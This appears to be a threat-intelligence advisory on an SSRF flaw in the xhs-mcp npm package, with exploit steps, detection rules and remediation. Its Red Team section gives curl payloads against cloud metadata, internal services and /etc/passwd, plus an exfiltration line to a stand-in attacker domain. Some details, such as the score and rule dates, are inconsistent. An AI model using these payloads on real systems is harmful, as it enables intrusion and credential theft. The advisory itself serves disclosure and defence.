CVE-2026-7417
Executive Summary
CVE-2026-7417 is a critical Server-Side Request Forgery (SSRF) vulnerability in Algovate’s xhs-mcp version 0.8.11. The flaw resides in the xhs_publish_content function within src/server/mcp.server.ts, where the media_paths argument is not properly validated. An attacker can remotely manipulate this parameter to force the server to make arbitrary HTTP requests to internal or external resources, potentially leading to data exfiltration, internal network scanning, or pivot attacks. The exploit has been publicly disclosed, and the vendor has not responded to the issue report. No patch is currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects an npm package (xhs-mcp). Organizations using this package in their Node.js applications are at risk. Since the package is open source and the vendor is unresponsive, the supply chain is compromised. Users should immediately assess their dependency tree for any usage of xhs-mcp version 0.8.11 and consider forking or replacing the package.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- Base Score: 7.3 (HIGH)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: High (C:H)
- Integrity Impact: None (I:N)
- Availability Impact: None (A:N)
Threat Level: HIGH – The vulnerability is remotely exploitable without authentication, and a public exploit exists. The lack of vendor response increases the risk of widespread exploitation.
Deep Dive & Mechanics
The vulnerability is a classic SSRF in the MCP (Model Context Protocol) interface of xhs-mcp. The xhs_publish_content function accepts a media_paths argument that is intended to specify file paths for media uploads. However, the function does not sanitize or validate the input, allowing an attacker to supply URLs or IP addresses instead of local file paths.
When the server processes the media_paths argument, it makes HTTP requests to the provided locations. An attacker can exploit this to:
- Scan internal network hosts and ports.
- Access cloud metadata endpoints (e.g.,
http://169.254.169.254/latest/meta-data/on AWS). - Read local files using
file://protocol (if supported). - Perform blind SSRF attacks to exfiltrate data via DNS or HTTP callbacks.
The attack is initiated remotely by sending a crafted request to the MCP endpoint with a malicious media_paths value.
Vulnerable vs. Patched Code
Vulnerable Code (xhs-mcp 0.8.11):
// src/server/mcp.server.ts
async function xhs_publish_content(media_paths: string[]) {
for (const path of media_paths) {
// No validation – directly fetches the path
const response = await fetch(path);
// ... process response
}
}
Patched Code (Hypothetical):
// src/server/mcp.server.ts
import { URL } from 'url';
import { isIP } from 'net';
async function xhs_publish_content(media_paths: string[]) {
for (const path of media_paths) {
// Validate that path is a local file
const parsed = new URL(path, 'file://');
if (parsed.protocol !== 'file:') {
throw new Error('Only local file paths are allowed');
}
// Ensure no IP addresses or hostnames
if (isIP(parsed.hostname)) {
throw new Error('IP addresses are not allowed');
}
// Use fs.readFile instead of fetch
const content = await fs.promises.readFile(parsed.pathname);
// ... process content
}
}
Exploitation & Lab Setup
Red Team
Prerequisites:
- Target running xhs-mcp 0.8.11 with MCP interface exposed.
- Attacker machine with network access to the target.
Exploit Steps:
- Identify the MCP endpoint (e.g.,
http://target:3000/mcp). - Craft a POST request with a malicious
media_pathsarray.
curl -X POST http://target:3000/mcp \
-H "Content-Type: application/json" \
-d '{
"action": "xhs_publish_content",
"media_paths": [
"http://169.254.169.254/latest/meta-data/",
"http://internal-service:8080/admin",
"file:///etc/passwd"
]
}'
- Monitor for responses or outbound connections to your callback server.
Advanced Exploit: Use SSRF to pivot to internal services or exfiltrate cloud metadata.
# Exfiltrate via DNS
curl -X POST http://target:3000/mcp \
-H "Content-Type: application/json" \
-d '{
"action": "xhs_publish_content",
"media_paths": [
"http://attacker-controlled-domain.com/$(cat /etc/hostname)"
]
}'
Blue Team
Detection Steps:
- Monitor outbound HTTP requests from the xhs-mcp server to unexpected destinations (internal IPs, cloud metadata IPs, or external callback domains).
- Look for requests with
media_pathscontaining URLs or IP addresses in logs. - Use network segmentation to restrict the server’s outbound access.
Honeypot Setup:
Deploy a fake internal service to detect SSRF probes.
# Simple Python honeypot
python3 -m http.server 8080 --bind 0.0.0.0
Monitor for connections from the xhs-mcp server.
Indicators of Compromise (IOCs)
- Network IOCs:
- Outbound HTTP requests to
169.254.169.254(AWS metadata) - Outbound requests to internal IP ranges (e.g.,
10.0.0.0/8,172.16.0.0/12,192.168.0.0/16) - Requests to known SSRF callback services (e.g.,
burpcollaborator.net,interactsh.com)
- Outbound HTTP requests to
- File IOCs:
- Log entries containing
media_pathswith URLs or IP addresses.
- Log entries containing
- Process IOCs:
- Node.js process making unexpected outbound connections.
Detection Engineering
YARA Rule
rule CVE_2026_7417_SSRF_xhs_mcp {
meta:
description = "Detects SSRF exploitation attempts against xhs-mcp CVE-2026-7417"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2026-7417"
strings:
$ssrf_pattern = /media_paths["']?\s*:\s*\[[^\]]*https?:\/\// nocase
$ip_pattern = /(?:https?:\/\/)?(?:10\.\d{1,3}\.\d{1,3}\.\d{1,3}|172\.(?:1[6-9]|2\d|3[01])\.\d{1,3}\.\d{1,3}|192\.168\.\d{1,3}\.\d{1,3}|169\.254\.\d{1,3}\.\d{1,3})/
condition:
any of them
}
Sigma Rule
title: SSRF Exploitation via xhs-mcp CVE-2026-7417
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects SSRF attempts against xhs-mcp by monitoring outbound HTTP requests to internal IPs
author: Valters IT
date: 2025-04-10
logsource:
category: network_connection
product: windows
service: sysmon
detection:
selection:
DestinationIp:
- '10.0.0.0/8'
- '172.16.0.0/12'
- '192.168.0.0/16'
- '169.254.169.254'
Image|endswith: '\node.exe'
condition: selection
falsepositives:
- Legitimate internal service calls (if any)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2026-7417 - xhs-mcp SSRF Attempt to Internal IP";
flow:to_server;
content:"media_paths"; http_client_body;
pcre:"/(?:10\.\d{1,3}\.\d{1,3}\.\d{1,3}|172\.(?:1[6-9]|2\d|3[01])\.\d{1,3}\.\d{1,3}|192\.168\.\d{1,3}\.\d{1,3}|169\.254\.\d{1,3}\.\d{1,3})/";
sid:10000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Isolate the xhs-mcp server from internal networks and the internet if possible.
- Restrict outbound traffic from the server using a firewall or egress proxy.
- Monitor logs for SSRF patterns.
Long-term Fix:
Since the vendor is unresponsive, the following options are recommended:
- Fork the repository and apply the patch described in the Vulnerable vs. Patched Code section.
- Replace the package with an alternative that does not have this vulnerability.
- Implement a WAF rule to block requests containing
media_pathswith URLs or IP addresses.
Workaround:
Modify the xhs_publish_content function to only accept local file paths and use fs.readFile instead of fetch.
Valters IT – DevSecOps & Cyber Threat Intelligence
{/* [Security Hash: 0D292F0FC0696A7D2EBC0E43] */}